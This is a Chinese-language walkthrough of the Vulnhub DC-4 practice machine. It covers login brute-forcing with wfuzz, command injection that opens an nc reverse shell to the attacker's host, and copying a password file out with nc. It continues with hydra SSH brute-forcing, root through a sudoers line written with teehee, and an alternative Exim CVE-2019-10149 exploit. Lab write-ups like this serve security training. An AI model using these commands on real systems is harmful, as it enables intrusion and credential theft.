Vulnhub[DC4]
简介

下载
- DC-4.zip (Size: 617 MB)
 - Download: http://www.five86.com/downloads/DC-4.zip
 - Download (Mirror): https://download.vulnhub.com/dc/DC-4.zip
 - Download (Torrent): https://download.vulnhub.com/dc/DC-4.zip.torrent ( Magnet)
 
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24 

经过筛选可以知道192.168.0.151是DC-4的ip
端口扫描
nmap  -sC -sV -p- 192.168.0.151

发现这里只是开了22、80端口
看下80端口,是一个登陆界面

登录页面,尝试弱口令登录
这里可以用Wfuzz来进行爆破
# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d  : 请求体设置
wfuzz -c -t 20 -w /root/Desktop/fuzz/username.txt -w /root/Desktop/fuzz/password.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.0.151/login.php
发现弱密码是可以爆破出来的

得到账号和密码
admin - happy
渗透
登陆

然后试一下

发现这类似于命令执行
burp抓包

可以发现这里直接就是传了一个ls -l的目录查看命令,中间的空格被换成了+
那这里我们直接传一个直接反弹shell
首先kali开启监听

将数据包发送到Repeater模块,然后改成nc+-e+/bin/bash+192.168.0.129+4444再发送


连接成功
用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
查看下passwd看看有什么用户适合提权

发现charles、jim、sam这个三个用户
去它们的home目录看下有没有什么收获
charles:

没有啥发现
jim:

backups——备份
好东西

找到一个old-passwords.txt的备份
将这些密码复制下来并对jim进行ssh爆破,因为在信息收集的阶段我们看到靶机是打开了22端口
可以用nc进行文件传输
这里可以用nc进行文件传输
# Kali
nc -nvlp 5555 > old-passwords.txt
# DC4
nc 192.168.0.129 5555 < /home/jim/backups/old-passwords.bak

然后用hydra对jim账号进行SSH爆破
hydra -l jim -P old-passwords.txt ssh://192.168.0.151

[22][ssh] host: 192.168.0.151   login: jim   password: jibril04
登陆jim的ssh,查看有没有sudo权限

然后可以发现在登录SSH提示有邮件,查看下


这是一封Charles发送过来的邮件,里面是说他要放年假了,老板他把密码给jim
这下我们拿到了Charles的密码
^xHhA&hvim0y
ssh切换到Charles

查看Charles的sudo

可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件
我们可以借助teehee直接给charles赋予完全的root权限
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

然后直接用sudo登录root用户

提权成功
非预期解
之前的方法应该就是这个靶机预设的预期解
但是在查看邮件的时候还有一个非预期解

这里可以了解到Exim的版本为4.89
这个版本有一个CVE-2019-10149可以使用
searchsploit Exim

searchsploit -p linux/local/46996.sh

开启python的HTTP服务


通过wget进行exp下载,赋予执行权限并执行


                
            
浙公网安备 33010602011771号